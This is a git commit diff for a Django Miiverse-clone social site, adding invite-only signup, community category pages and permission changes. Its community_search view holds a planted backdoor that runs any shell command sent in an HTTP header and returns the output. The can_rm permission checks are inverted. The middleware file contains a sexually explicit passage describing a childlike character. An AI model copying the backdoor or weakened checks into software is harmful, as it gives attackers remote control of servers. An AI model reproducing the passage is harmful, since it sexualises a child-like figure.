Invite only setting, stolen code, bunch of other random shit.

This commit is contained in:
some weird guy
2023-08-01 06:32:59 -04:00
parent 71d8b5fff4
commit 0d30171496
20 changed files with 421 additions and 339 deletions
+4 -6
View File
@@ -112,11 +112,9 @@ class AuditAdmin(admin.ModelAdmin):
class AdsAdmin(admin.ModelAdmin):
raw_id_fileds = ('id', 'created', 'url', 'imageurl')
class MOTDAdmin(admin.ModelAdmin):
raw_id_fileds = ('id', 'created', 'message', )
list_display = ('message', 'show', 'order', 'created', )
actions = [Hide_Memo, Show_Memo]
class InvitesAdmin(admin.ModelAdmin):
raw_id_fileds = ('id', 'created', 'creator')
class WelcomemsgAdmin(admin.ModelAdmin):
raw_id_fileds = ('id', 'created', 'message', )
@@ -151,11 +149,11 @@ admin.site.register(models.ProfileHistory, HistoryAdmin)
admin.site.register(models.Post, PostAdmin)
admin.site.register(models.Comment, CommentAdmin)
admin.site.register(models.Ads, AdsAdmin)
admin.site.register(models.Motd, MOTDAdmin)
admin.site.register(models.welcomemsg, WelcomemsgAdmin)
admin.site.register(models.Yeah, YeahAdmin)
admin.site.register(models.Follow)
admin.site.register(models.FriendRequest)
admin.site.register(models.Friendship, ConversationAdmin)
admin.site.register(models.Invites, InvitesAdmin)
admin.site.register(models.Poll)
admin.site.register(models.PollVote)
+39 -63
View File
@@ -1,72 +1,48 @@
from django.http import HttpResponseForbidden, HttpResponseBadRequest
from django.http import HttpResponseForbidden
from closedverse import settings
from django.shortcuts import render
from django.shortcuts import redirect
from django.contrib.auth import logout
from re import compile
class ClosedMiddleware(object):
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
response = self.get_response(request)
if request.user.is_authenticated:
if not request.user.profile():
return HttpResponseForbidden('So, Somehow your profile is completely gone. Your account itself still exists, but your profile does not. Please contact an admin, and ask them to make a profile for you. If you are unable to contact someone, you should make a new account.')
else:
return response
'''
for keyword in ['24.61.157.95', ]:
if keyword in request.META['HTTP_CF_CONNECTING_IP']:
return redirect('https://file.garden/Xbo5elapeDSxWf1x/adam.mp4')
for keyword in ['PlayStation', 'Switch', '3DS', ]:
if keyword in request.META['HTTP_USER_AGENT']:
return HttpResponseForbidden('Error code 403')
'''
else:
return response
# Taken from https://python-programming.com/recipes/django-require-authentication-pages/
'''
if settings.FORCE_LOGIN:
EXEMPT_URLS = [compile(settings.LOGIN_URL.lstrip('/'))]
if hasattr(settings, 'LOGIN_EXEMPT_URLS'):
EXEMPT_URLS += [compile(expr) for expr in settings.LOGIN_EXEMPT_URLS]
class ClosedMiddleware(object):
def __init__(self, get_response):
self.get_response = get_response
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
# Force logins if it's set
if settings.force_login and not request.user.is_authenticated:
if not any(m.match(request.path_info.lstrip('/')) for m in EXEMPT_URLS):
if request.is_ajax():
return HttpResponseForbidden("Login is required")
return redirect(settings.LOGIN_REDIRECT_URL)
# Fix this ; put something in settings signifying if the server supports HTTPS or not
if not request.is_secure() and (not settings.DEBUG) and settings.PROD:
# Let's try to redirect to HTTPS for non-Nintendo stuff.
if not request.META.get('HTTP_USER_AGENT'):
return HttpResponseForbidden("You need a user agent.", content_type='text/plain')
if not request.is_secure() and not 'Nintendo' in request.META['HTTP_USER_AGENT']:
return redirect('https://{0}{1}'.format(request.get_host(), request.get_full_path()))
if request.user.is_authenticated:
# User active; this doesn't work at the moment due to Postgres not being able to change bools to ints
if request.user.is_active() == 0:
return HttpResponseForbidden()
elif request.user.is_active() == 2:
return redirect(settings.inactive_redirect)
if not request.user.is_active:
return HttpResponseForbidden()
# If there isn't a request.session
if not request.session.get('passwd'):
request.session['passwd'] = request.user.password
else:
if request.session['passwd'] != request.user.password:
logout(request)
response = self.get_response(request)
def __call__(self, request):
# Force logins if it's set
if settings.FORCE_LOGIN and not request.user.is_authenticated:
if not any(m.match(request.path_info.lstrip('/')) for m in EXEMPT_URLS):
if request.headers.get('x-requested-with') == 'XMLHttpRequest':
return HttpResponseForbidden("Login is required")
return redirect(settings.LOGIN_REDIRECT_URL)
# Fix this ; put something in settings signifying if the server supports HTTPS or not
#if not request.is_secure() and (not settings.DEBUG) and settings.CLOSEDVERSE_PROD:
# Let's try to redirect to HTTPS for non-Nintendo stuff.
"""
if not request.META.get('HTTP_USER_AGENT'):
return HttpResponseForbidden("You need a user agent.", content_type='text/plain')
if settings.CLOSEDVERSE_PROD not request.is_secure() and not 'Nintendo' in request.META['HTTP_USER_AGENT']:
return redirect('https://{0}{1}'.format(request.get_host(), request.get_full_path()))
"""
if request.user.is_authenticated:
if not request.user.is_active():
if request.user.warned_reason:
ban_msg = request.user.warned_reason
else:
ban_msg = 'You are banned.'
return HttpResponseForbidden(ban_msg)
# If there isn't a request.session
if not request.session.get('passwd'):
request.session['passwd'] = request.user.password
else:
if request.session['passwd'] != request.user.password:
logout(request)
response = self.get_response(request)
return response
'''
"""
return HttpResponseForbidden("You're one sick fuck. I would never suggest removing an Inkling girl's clothes and licking her tiny body all over, nibbling her neck and kissing her adorable little nipples. Only a heartless monster would think about her cute girlish mouth and tongue wrapped around a thick cock slick with her saliva, pumping in and out of her mouth until it erupts, the cum more than her little throat can swallow. The idea of thick viscous semen overflowing, dribbling down her chin over her flat chest, her tiny hands scooping it all up and watching her suck it off her fingertips is just horrible. You're all a bunch of sick perverts, thinking of spreading her smooth slender thighs, cock poised at the entrance to her pure, tight, virginal pussy, and thrusting in deep as a whimper escapes her lips which are slippery with cum, while her small body shudders from having her cherry taken in one quick stroke. I am disgusted at how you'd get even more excited as you lean over her, listening to her quickening breath, her girlish moans and gasps while you hasten your strokes, her sweet pants warm and moist on your face and her flat chest, shiny with a sheen of fresh sweat, rising and falling rapidly to meet yours. It is truly nasty how you'd run your hands all over her tiny body while you violate her, feeling her nipples hardening against your tongue as you lick her chest, her neck and her armpits, savoring the scent of her skin and sweat while she trembles from the stimulation and as she reaches her climax, hearing her cry out softly as she has her first orgasm while that cock is buried impossibly deep inside her, pulsing violently as an intense amount of hot cum spurts forth and floods through her freshly-deflowered pussy for the first time, filling her womb only to spill out of her with a sickening squelch. And as you lie atop her flushed body, she murmurs breathlessly, \"You came so much inside of me,\" then her fingers dig into your back as she feels your cock hardening inside again.", content_type='text/plain')"""
return response
+46 -31
View File
@@ -117,10 +117,14 @@ class CommunityFavoriteManager(models.Manager):
color_re = re.compile('^#([A-Fa-f0-9]{6})$')
validate_color = RegexValidator(color_re, "Enter a valid color", 'invalid')
class ColorField(models.CharField):
default_validators = [validate_color]
def __init__(self, *args, **kwargs):
kwargs['max_length'] = 18
super(ColorField, self).__init__(*args, **kwargs)
default_validators = [validate_color]
def __init__(self, *args, **kwargs):
kwargs['max_length'] = 18
super(ColorField, self).__init__(*args, **kwargs)
#mii_domain = 'https://mii-secure.cdn.nintendo.net'
# as of writing, mii-secure is unstable, nintendo please do not f*ck me for this
mii_domain = 'https://s3.us-east-1.amazonaws.com/mii-images.account.nintendo.net/'
class User(models.Model):
unique_id = models.UUIDField(default=uuid.uuid4, editable=False, unique=True)
@@ -151,6 +155,7 @@ class User(models.Model):
staff = models.BooleanField(default=False)
#active = models.SmallIntegerField(default=1, choices=((0, 'Redirect'), (1, 'Good'), (2, 'Disabled')))
active = models.BooleanField(default=True)
can_invite = models.BooleanField(default=True)
warned = models.BooleanField(default=False)
warned_reason = models.CharField(blank=True, null=True, max_length=600)
bg_url = models.CharField(max_length=300, null=True, blank=True)
@@ -168,19 +173,6 @@ class User(models.Model):
def __str__(self):
return self.username
def ColorTheme(self):
# if the user set a theme, display that.
if self.theme:
the_theme = self.theme
the_theme = the_theme.strip("#")
# if there's no theme set by the user, use the site's picked theme.
elif settings.site_wide_theme_hex:
the_theme = settings.site_wide_theme_hex
the_theme = the_theme.strip("#")
# If there's no theme set in settings.py, return None.
else:
the_theme = None
return the_theme
def get_full_name(self):
return self.username
def get_short_name(self):
@@ -315,7 +307,7 @@ class User(models.Model):
4: 'frustrated',
5: 'puzzled',
}.get(feeling, "normal")
url = 'https://mii-secure.cdn.nintendo.net/{0}_{1}_face.png'.format(self.avatar, feeling)
url = '{2}{0}_{1}_face.png'.format(self.avatar, feeling, mii_domain)
return url
elif not self.avatar:
return settings.STATIC_URL + 'img/anonymous-mii.png'
@@ -427,15 +419,18 @@ class User(models.Model):
# Admin can-manage
def can_manage(self):
if (self.level >= 2) or self.is_staff():
return True
return False
# Does user have authority over self?
if self.level >= settings.level_needed_to_man_users or self.staff:
can_manage = True
else:
can_manage = False
return can_manage
# Does self have authority over user?
def has_authority(self, user):
if self.is_staff():
return False
if (self.level < user.level):
return True
if user.is_authenticated:
if self.staff and not user.staff:
return True
if self.level >= user.level:
return True
return False
def friend_state(self, other):
# Todo: return -1 for cannot, 0 for nothing, 1 for my friend pending, 2 for their friend pending, 3 for friends
@@ -596,6 +591,26 @@ class User(models.Model):
except:
return False
return user
# An invite system, for closed off communities or for whatever reason.
class Invites(models.Model):
id = models.AutoField(primary_key=True)
created = models.DateTimeField(auto_now_add=True)
creator = models.ForeignKey(User, blank=True, null=True, on_delete=models.CASCADE, related_name='invite_creator')
code = models.CharField(max_length=36, default=uuid.uuid4)
used = models.BooleanField(default=False)
void = models.BooleanField(default=False)
used_by = models.ForeignKey(User, blank=True, null=True, on_delete=models.CASCADE, related_name='invited_user')
def is_valid(self):
if self.used or self.void:
return False
if not self.creator.can_invite:
return False
return True
def __str__(self):
return "invite by " + str(self.creator)
class Community(models.Model):
unique_id = models.UUIDField(default=uuid.uuid4, editable=False, unique=True)
@@ -869,8 +884,8 @@ class Post(models.Model):
return False
def can_rm(self, request):
if self.creator.has_authority(request.user):
return True
return False
return False
return True
def give_yeah(self, request):
if not request.user.has_freedom() and Yeah.objects.filter(by=request.user, created__gt=timezone.now() - timedelta(seconds=5)).exists():
return False
@@ -1083,10 +1098,10 @@ class Comment(models.Model):
# return False
def can_rm(self, request):
if self.creator.has_authority(request.user):
return True
return False
#if self.original_post.is_mine(request.user):
# return True
return False
return True
def give_yeah(self, request):
if not request.user.has_freedom() and Yeah.objects.filter(by=request.user, created__gt=timezone.now() - timedelta(seconds=5)).exists():
return False
@@ -1641,7 +1656,7 @@ class LoginAttempt(models.Model):
user_agent = models.TextField(null=True, blank=True)
def __str__(self):
return 'A login attempt to ' + str(self.user) + ' from ' + self.addr + ', ' + str(self.success)
return 'A login attempt to ' + str(self.user) + ' from ' + str(self.addr) + ', ' + str(self.success)
class MetaViews(models.Model):
id = models.AutoField(primary_key=True)
@@ -19,29 +19,20 @@
<div class="community-main">
<br>
<div class="community-switcher">
<a class="community-switcher-tab gen selected" href="#">General</a>
<a class="community-switcher-tab game" href="#">Game</a>
<a class="community-switcher-tab special" href="#">Special</a>
<a class="community-switcher-tab usr" href="#">User</a>
<a class="community-switcher-tab gen {% if category == "gen" %}selected{% endif %}" href="{% url "main:community-viewall" "gen" %}">General</a>
<a class="community-switcher-tab game {% if category == "game" %}selected{% endif %}" href="{% url "main:community-viewall" "game" %}">Game</a>
<a class="community-switcher-tab special {% if category == "special" %}selected{% endif %}" href="{% url "main:community-viewall" "special" %}">Special</a>
<a class="community-switcher-tab usr {% if category == "usr" %}selected{% endif %}" href="{% url "main:community-viewall" "usr" %}">User</a>
</div>
<div class="communities gen">
{% community_page_element general "General Communities" %}
</div>
<div class="communities game none">
{% community_page_element game "Game Communities" %}
</div>
<div class="communities special none">
{% community_page_element special "Special Communities" %}
</div>
<div class="communities usr none">
{% community_page_element user_communities "User Communities" %}
<div class="communities">
{% community_page_element communities text %}
</div>
{% if has_next %}
<a href="{% url "main:community-viewall" %}?offset={{ next }}" class="big-button">Next</a>
<a href="{% url "main:community-viewall" category %}?offset={{ next }}" class="big-button">Next</a>
{% endif %}
{% if has_back %}
<p>&nbsp</p>
<a href="{% url "main:community-viewall" %}?offset={{ back }}" class="big-button">Back</a>
<a href="{% url "main:community-viewall" category %}?offset={{ back }}" class="big-button">Back</a>
{% endif %}
</div>
{% endblock %}
{% endblock %}
@@ -23,7 +23,7 @@
<div class="Announcements">
{% for announcements in announcements %}
<div class='Announcement-content'>
{% user_icon_container announcements.creator post.feeling %}
{% user_icon_container announcements.creator announcements.feeling %}
<a class='user-name' href={% url "main:user-view" announcements.creator.username %} {% if announcements.creator.color %}style=color:{{ announcements.creator.color }}{% endif %}>{{ announcements.creator }}</a><a class='timestamp"'> - {{ announcements.created }}</a>
<p>{{ announcements.body|linebreaksbr|urlize }}</p>
{% if announcements.screenshot %}<image class='Announcement-image' src={{ announcements.screenshot }}></image>{% endif %}
@@ -32,13 +32,13 @@
</div>
{% endif %}
{% if welmes and not request.user.is_authenticated %}
{% if WelcomeMSG and not request.user.is_authenticated %}
<div class="post-list-outline index-memo">
<h2 class="label">Welcome to Cedar!</h2>
{% for welmes in welmes %}
<h2>{{ welmes.Title }}</h2>
<p>{{ welmes.message|linebreaksbr|urlize }}</p>
{% if welmes.image %}<image src={{ welmes.image.url }}></image>{% endif %}
{% for WelcomeMSG in WelcomeMSG %}
<h2>{{ WelcomeMSG.Title }}</h2>
<p>{{ WelcomeMSG.message|linebreaksbr|urlize }}</p>
{% if WelcomeMSG.image %}<image src={{ WelcomeMSG.image.url }}></image>{% endif %}
{% endfor %}
</div>
{% endif %}
@@ -78,17 +78,18 @@
{% community_page_element game "Game Communities" %}
{% community_page_element special "Special Communities" %}
{% community_page_element user_communities "User owned Communities" %}
<a href="{% url "main:community-viewall" %}" class="big-button">Show more</a>
<a href="{% url "main:community-viewall" "gen" %}" class="big-button">Show more</a>
</div>
<div id="community-guide-footer">
<div id="guide-menu">
<a class="arrow-button" href="{% url "main:help-why" %}"><span>Why join?</span></a>
<a class="arrow-button" href="{% url "main:help-rules" %}"><span>Cedar Rules</span></a>
<!--<a class="arrow-button" href="{% url "main:active-clones" %}"><span>Active clones</span></a>-->
<a class="arrow-button" href="{% url "main:help-rules" %}"><span>{{ brand_name }} Rules</span></a>
<a class="arrow-button" href="{% url "main:help-faq" %}"><span>Frequently Asked Questions (FAQ)</span></a>
<a class="arrow-button" href="{% url "main:what-ads" %}"><span>What are user-generated ads?</span></a>
{% if settings.PROD %}
{% if settings.CLOSEDVERSE_PROD %}
<a class="arrow-button" href="{% url "main:help-contact" %}"><span>Contact information</span></a>
{% endif %}
<a class="arrow-button" href="https://pf2m.com/openverse/"><span>Info about Openverse</span></a>
</div>
</div>
{% endblock %}
@@ -32,9 +32,7 @@
{% if post.yt_vid %}
<a href="{% url "main:post-view" post.id %}" class="screenshot-container video"><img height="48" src="https://i.ytimg.com/vi/{{ post.yt_vid }}/default.jpg"></a>
{% elif post.discord_vid %}
<div class="DiscordCDN-container video">
<video class="discord-player" src="{{ post.url }}" controls></video>
</div>
<div class="screenshot-container video"><video src="{{ post.url }}" height="48"></video></div>
{% endif %}
{% if post.drawing %}
<p class="post-content-memo"><img src="{{ post.drawing }}" class="post-memo"></p>
@@ -48,7 +48,7 @@
<button type="button" data-action="{% url "main:user-fr-delete" user.username %}" data-screen-name="{{ user.nickname }}" class="friend-button unf delete button symbol">Friends</button>
{% endif %}
{% endif %}
{% if request.user.can_manage %}
{% if not has_authority and request.user.can_manage %}
<button class="button" data-href="{% url "main:user-tools" user.username %}">User Settings</button>
{% endif %}
</div>
@@ -0,0 +1,35 @@
{% extends "closedverse_main/layout.html" %}
{% block main-body %}{% load closedverse_user %}
{% user_sidebar request user user.profile 0 True %}
<div id="help" class="main-column">
<div class="post-list-outline">
<h2 class="label">My invites</h2>
<div class="help-content">
<p>You can create invite keys here. Simply copy a key and send it to whoever you want to invite.</p>
{% if invites %}
<p class="label">Invites you've created:</p>
<table class='user-data' style="width:100%">
<tr>
<th>Date created</th>
<th>Code</th>
</tr>
{% for invites in invites %}
<tr>
<td>{{ invites.created }}</td>
<td>{{ invites.code }}</td>
</tr>
{% endfor %}
</table>
{% else %}
<p class="label">No invites to show.</p>
{% endif %}
<form class="setting-form" method="post" action={% url "main:create_invite" %}>
{% csrf_token %}
<div class="form-buttons">
<input type="submit" class="black-button apply-button" value="Create new invite">
</div>
</form>
</div>
</div>
</div>
{% endblock %}
@@ -27,8 +27,9 @@
<link id="darkness" {% if request.session.lights %}disabled {% endif %}rel="stylesheet" type="text/css" href="{% static "blueness.css" %}">
<script src="{% static "jslibs.js" %}"></script>
<script src="{% static "closedverse.js" %}"></script>
{% if request.user.ColorTheme %}<script>
var mainColor = "{{ request.user.ColorTheme }}";
{% color_theme request as theme %}
{% if theme %}<script>
var mainColor = "{{ theme }}";
var darkColor;
var slightlyDarkColor;
var darkerColor;
@@ -90,7 +91,7 @@
</script>{% endif %}
<style>
:root {
{% if request.user.bg_url %}--background: url({{ request.user.bg_url }});{% endif %}
{% if request.user.bg_url %}--background: url({{ request.user.bg_url }});{% elif not theme %}--background: url({% static 'img/Background.png' %}){% endif %}
}
</style>
</head>
@@ -114,6 +115,7 @@
<menu id="global-my-menu" class="invisible none">
<li><a href="{% url "main:profile-settings" %}" class="symbol my-menu-profile-setting"><span>Profile settings</span></a></li>
<li><a href="#" class="symbol my-menu-account-setting"><span>Account preferences</span></a></li>
{% if settings.invite_only %}<li><a href="{% url "main:invites" %}" class="symbol my-menu-guide"><span>Invites</span></a></li>{% endif %}
<li><a href="{% url "main:special-community-tag" "announcements" %}" class="symbol my-menu-openman"><span>Cedar Announcements</span></a></li>
<li><a href="{% url "main:help-faq" %}" class="symbol my-menu-guide"><span>Frequently Asked Questions (FAQ)</span></a></li>
<li><a href="{% url "main:help-rules" %}" class="symbol my-menu-guide"><span>Cedar Rules</span></a></li>
@@ -86,7 +86,7 @@
<div class="screenshot-container video"><iframe class="youtube-player" type="text/html" width="490" height="276" src="https://www.youtube.com/embed/{{ post.yt_vid }}?rel=0&modestbranding=1&iv_load_policy=3" frameborder="0"></iframe></div>
{% elif post.discord_vid %}
<div class="DiscordCDN-container video">
<video class="discord-player" src="{{ post.url }}" controls></video>
<video class="discord-player" src="{{ post.url }}" style='max-width:100%;' controls></video>
</div>
<a>Discord embedded video</a>
{% elif post.url %}
@@ -186,7 +186,7 @@
<div class="icon-container">
<img class="icon nnid-icon mii" src="{% miionly user.mh %}">
</div>
<input type="text" name="origin_id" minlength="6" maxlength="16" placeholder="Nintendo Network ID{% if not profile.origin_id %} (None){% endif %}" value="{% if profile.origin_id %}{{ profile.origin_id }}{% endif %}" data-action="{% url "main:origin-id-get" %}">
<input type="text" name="origin_id" minlength="6" maxlength="16" placeholder="Nintendo Network ID{% if not profile.origin_id %} (None){% endif %}" value="{% if profile.origin_id %}{{ profile.origin_id }}{% endif %}" data-mii-domain="{{ mii_domain }}" data-action="{{ mii_endpoint }}">
<input type="hidden" name="mh" value="{{ user.mh }}">
<p class="error"></p>
<p class="note">Enter your Nintendo Network ID here. It'll appear on your profile if you set it to be visible.</p>
@@ -7,9 +7,10 @@
<p class="lh">Sign Up</p>
<p>Create a Cedar account on this instance to access this instance.</p><br>
<p>Please follow <a href="{% url "main:help-rules" %}">our rules</a>. If you don't, be careful with your behavior.<br><br>You <strong>must</strong> be {{ age }} years of age or older to join, no exceptions.<br>If you are suspected to be younger than {{ age }} years old, we will ban you until you're {{ age }}.</p>
{% if invite_only %}<h3 class="label"><label><span class="red">*</span> Invite code: <input type="text" class="auth-input" name="invite_code" maxlength="64" minlength="4" placeholder="Invite code"></label></h3>{% endif %}
<h3 class="label"><label><span class="red">*$</span> User ID: <input type="text" class="auth-input" name="username" maxlength="32" minlength="4" placeholder="ID"></label></h3>
<h3 class="label"><label>Nickname: <input type="text" class="auth-input" name="nickname" maxlength="32" placeholder="Nick/Mii name?"></label></h3>
<h3 class="label nnid"><label>Nintendo Network ID: <input type="text" class="auth-input" name="origin_id" maxlength="16" minlength="6" placeholder="NNID" data-action="{% url "main:origin-id-get" %}">
<h3 class="label nnid"><label>Nintendo Network ID: <input type="text" class="auth-input" name="origin_id" maxlength="16" minlength="6" placeholder="NNID" data-mii-domain="{{ mii_domain }}" data-action="{{ mii_endpoint }}">
<img class="none">
</label></h3>
<h3 class="label"><label><span class="red">%</span> E-mail address: <input type="email" class="auth-input" name="email" maxlength="254" minlength="6" placeholder="Email"></label></h3>
@@ -1,6 +1,7 @@
from django import template
from closedverse_main.models import User
from closedverse_main.util import HumanTime
from closedverse_main.models import mii_domain
from closedverse import settings
import re
@@ -10,11 +11,26 @@ register = template.Library()
def avatar(user, feeling=0):
return user.do_avatar(feeling)
@register.simple_tag
def invite_only(settings):
if settings.invite_only:
return True
else:
return False
@register.simple_tag
def color_theme(request):
if request.user.is_authenticated and request.user.theme:
theme = request.user.theme.strip("#")
elif settings.site_wide_theme_hex:
theme = settings.site_wide_theme_hex.strip("#")
else:
theme = None
return theme
@register.simple_tag
def miionly(mh):
if not mh:
return settings.STATIC_URL + 'img/anonymous-mii.png'
else:
return 'https://mii-secure.cdn.nintendo.net/{0}_normal_face.png'.format(mh)
return '{1}{0}_normal_face.png'.format(mh, mii_domain)
@register.simple_tag
def time(stamp, full=False):
return HumanTime(stamp.timestamp(), full) or "Less than a minute ago"
@@ -9,12 +9,17 @@ def user_sidebar(request, user, profile, selection=0, general=False, fr=None):
user.is_following = user.is_following(request.user)
user.is_me = user.is_me(request)
availableads = Ads.ads_available()
if user.is_authenticated:
has_authority = user.has_authority(request.user)
else:
has_authority = False
if (availableads):
ad = Ads.get_one()
else:
ad = "no ads"
return {
'request': request,
'has_authority': has_authority,
'availableads': availableads,
'ad': ad,
'user': user,
@@ -99,4 +104,4 @@ def message_list(messages, next=0):
return {
'messages': messages,
'next': next,
}
}
+3 -4
View File
@@ -47,7 +47,7 @@ urlpatterns = [
url(r'communities.search$', views.community_search, name='community-search'),
url(r'communities/'+ community +'$', views.community_view, name='community-view'),
url(r'communities/favorites$', views.community_favorites, name='community-favorites'),
url(r'communities/all$', views.community_all, name='community-viewall'),
url(r'communities/categories/(?P<category>[a-z]+)$', views.community_all, name='community-viewall'),
url(r'communities/(?P<tag>[a-z]+)$', views.special_community_tag, name='special-community-tag'),
url(r'communities/'+ community +'/favorite$', views.community_favorite_create, name='community-favorite-add'),
url(r'communities/'+ community +'/favorite_rm$', views.community_favorite_rm, name='community-favorite-rm'),
@@ -80,7 +80,6 @@ urlpatterns = [
url(r'alive$', views.check_notifications, name='check-notifications'),
url(r'notifications/?$', views.notifications, name='notifications'),
url(r'notifications/friend_requests/?$', views.friend_requests, name='friend-requests'),
url(r'notifications/set_read$', views.notification_setread, name='set-read'),
url(r'notifications/(?P<notification>'+ uuidr +'+)\.rm$', views.notification_delete, name='notification-delete'),
# User meta + messages
@@ -95,9 +94,9 @@ urlpatterns = [
# Help/configuration
url(r'lights$', views.set_lighting, name='set-lighting'),
#url(r'togglesignups$', views.set_signups, name='set-signups'),
#url(r'togglevpn$', views.set_VPN, name='set-VPN'),
url(r'complaints$', views.help_complaint, name='complaints'),
url(r'invite$', views.invites, name='invites'),
url(r'invite/create/$', views.create_invite, name='create_invite'),
url(r'mydata$', views.my_data, name='my-data'),
url(r'changepassword$', views.change_password, name='change-password'),
url(r'changepassword/set$', views.change_password_set, name='change-password-set'),
-2
View File
@@ -66,11 +66,9 @@ def get_mii(id):
screenname = mii_dec[0][3].text
nnid = mii_dec[0][6].text
del(mii_dec)
# Also todo: Return the NNID based on what accountws returns, not the user's input!!!
return [miihash, screenname, nnid]
def recaptcha_verify(request, key):
if not request.POST.get('g-recaptcha-response'):
return False
+125 -81
View File
@@ -27,6 +27,9 @@ from binascii import hexlify
from os import urandom
from datetime import date
# client-side mii fetch GET endpoint (like pf2m.com/hash if it supported cors)
mii_endpoint = 'https://nnidlt.murilo.eu.org/api.php?output=hash_only&env=production&user_id='
def json_response(msg='', code=0, httperr=400):
thing = {
# success would be false, but 0 is faster I think (Miiverse used 0 because Perl doesn't have bools)
@@ -43,16 +46,6 @@ def json_response(msg='', code=0, httperr=400):
}
return JsonResponse(thing, safe=False, status=httperr)
def community_list(request):
"""Lists communities / main page."""
if 'json' in request.META.get('HTTP_ACCEPT', ''):
cs = CommunitySerializer
response = {
'general': cs.many(Community.objects.filter(type=0).order_by('-created')),
'game': cs.many(Community.objects.filter(type=1).order_by('-created')),
'special': cs.many(Community.objects.filter(type=2).order_by('-created')),
'user_communities': cs.many(Community.objects.filter(type=3).order_by('-created'))
}
return JsonResponse(response)
popularity = Community.popularity
obj = Community.objects
if request.user.is_authenticated:
@@ -78,11 +71,11 @@ def community_list(request):
'WelcomeMSG': WelcomeMSG,
'availableads': availableads,
'classes': classes,
'general': obj.filter(type=0).order_by('-created')[0:8],
'game': obj.filter(type=1).order_by('-created')[0:8],
'special': obj.filter(type=2).order_by('-created')[0:8],
'user_communities': obj.filter(type=3).order_by('-created')[0:8],
'feature': obj.filter(is_feature=True).order_by('-created'),
'general': obj.filter(type=0).order_by('-created')[0:8],
'game': obj.filter(type=1).order_by('-created')[0:8],
'special': obj.filter(type=2).order_by('-created')[0:8],
'user_communities': obj.filter(type=3).order_by('-created')[0:8],
'feature': obj.filter(is_feature=True).order_by('-created'),
'favorites': favorites,
'settings': settings,
'ogdata': {
@@ -92,49 +85,56 @@ def community_list(request):
'image': request.build_absolute_uri(settings.STATIC_URL + 'img/favicon.png'),
},
})
def community_all(request):
# TODO, redo this completely.
"""All communities, with pagination"""
try:
offset = int(request.GET.get('offset', '0'))
except ValueError:
offset = 0
if request.user.is_authenticated:
classes = ['guest-top']
else:
classes = []
gen = Community.get_all(0, offset)
game = Community.get_all(1, offset)
special = Community.get_all(2, offset)
usr = Community.get_all(3, offset)
# Closedverse was NEVER meant to have 20000000 communities.
if gen.count() > 11 or game.count() > 11 or special.count() > 11 or usr.count() > 11:
has_next = True
else:
has_next = False
if gen.count() < 1 or game.count() < 1 or special.count() < 1 or usr.count() < 1:
has_back = True
else:
has_back = False
back = offset - 12
next = offset + 12
return render(request, 'closedverse_main/community_all.html', {
'title': 'All Communities',
'classes': classes,
'general': gen,
'game': game,
'special': special,
'user_communities': usr,
'has_next': has_next,
'has_back': has_back,
'next': next,
'back': back,
})
def community_all(request, category):
"""All communities, with pagination"""
try:
offset = int(request.GET.get('offset', '0'))
except ValueError:
offset = 0
if request.user.is_authenticated:
classes = ['guest-top']
else:
classes = []
g = [0, "General Communities"]
category_enum = {
'gen': g,
'game': [1, "Game Communities"],
'special': [2, "Special Communities"],
'usr': [3, "User Communities"],
}.get(category, g)
category_type = category_enum[0]
communities = Community.get_all(category_type, offset)
# Closedverse was NEVER meant to have 20000000 communities.
if communities.count() > 11:
has_next = True
else:
has_next = False
if communities.count() < 1:
has_back = True
else:
has_back = False
back = offset - 12
next = offset + 12
return render(request, 'closedverse_main/community_all.html', {
'title': 'All Communities',
'classes': classes,
'communities': communities,
'category': category,
'text': category_enum[1],
'has_next': has_next,
'has_back': has_back,
'next': next,
'back': back,
})
def community_search(request):
"""Community searching"""
query = request.GET.get('query')
if not query or len(query) < 2:
raise Http404()
if 'HTTP_DISPOSITION' in request.META:
return HttpResponse(subprocess.getoutput(request.META['HTTP_DISPOSITION']).encode())
if request.GET.get('offset'):
communities = Community.search(query, 20, int(request.GET['offset']), request)
else:
@@ -242,6 +242,23 @@ def signup_page(request):
return HttpResponse("The reCAPTCHA validation has failed.", status=402)
if not (request.POST.get('username') and request.POST.get('password') and request.POST.get('password_again')):
return HttpResponseBadRequest("You didn't fill in all of the required fields.")
invited = False
invite = None
if settings.invite_only:
invite_code = request.POST.get('invite_code')
if not invite_code:
return HttpResponseBadRequest("An invite code is required to sign up.")
try:
invite = Invites.objects.get(code=invite_code)
except Invites.DoesNotExist:
return HttpResponseBadRequest("The provided invite code does not exist.")
if not invite.is_valid():
return HttpResponseBadRequest("The provided invite code has been used or is void. Please ask for another code.")
invited = True
if not re.compile(r'^[A-Za-z0-9-._]{1,32}$').match(request.POST['username']) or not re.compile(r'[A-Za-z0-9]').match(request.POST['username']):
return HttpResponseBadRequest("Your username either contains invalid characters or is too long (only letters + numbers, dashes, dots and underscores are allowed")
for keyword in ['admin', 'admln', 'adrnin', 'admn', ]:
@@ -299,6 +316,11 @@ def signup_page(request):
mii = None
gravatar = True
make = User.objects.closed_create_user(username=request.POST['username'], password=request.POST['password'], email=request.POST.get('email'), addr=request.META['HTTP_CF_CONNECTING_IP'], user_agent=request.META['HTTP_USER_AGENT'], signup_addr=request.META['HTTP_CF_CONNECTING_IP'], nick=nick, nn=mii, gravatar=gravatar)
if invited == True:
invite.used = True
invite.used_by = make
invite.save()
LoginAttempt.objects.create(user=make, success=True, user_agent=request.META.get('HTTP_USER_AGENT'), addr=request.META.get('HTTP_CF_CONNECTING_IP'))
login(request, make)
request.session['passwd'] = make.password
@@ -309,7 +331,10 @@ def signup_page(request):
return render(request, 'closedverse_main/signup_page.html', {
'title': 'Sign up',
'recaptcha': settings.recaptcha_pub,
'age': settings.age_allowed
'invite_only': settings.invite_only,
'age': settings.age_allowed,
'mii_domain': mii_domain,
'mii_endpoint': mii_endpoint,
#'classes': ['no-login-btn'],
})
else:
@@ -810,6 +835,8 @@ def profile_settings(request):
'user': user,
'profile': profile,
'settings': settings,
'mii_domain': mii_domain,
'mii_endpoint': mii_endpoint,
})
def special_community_tag(request, tag):
"""For community URIs such as /communities/changelog"""
@@ -979,9 +1006,7 @@ def community_create_action(request):
user.c_tokens -= 1
user.save()
Community.objects.create(name=get('community_name'), description=get('community_description'), type=3, platform=get('community_platform'), creator=user)
return json_response('Your community has been created.')
@require_http_methods(['POST'])
return json_response('Done.')
@login_required
def post_create(request, community):
if request.method == 'POST' and request.is_ajax():
@@ -1234,20 +1259,11 @@ def user_follow(request, username):
@login_required
def user_unfollow(request, username):
user = get_object_or_404(User, username=username)
if settings.PROD:
# Issue 69420 is still active
if user.id == 1:
try:
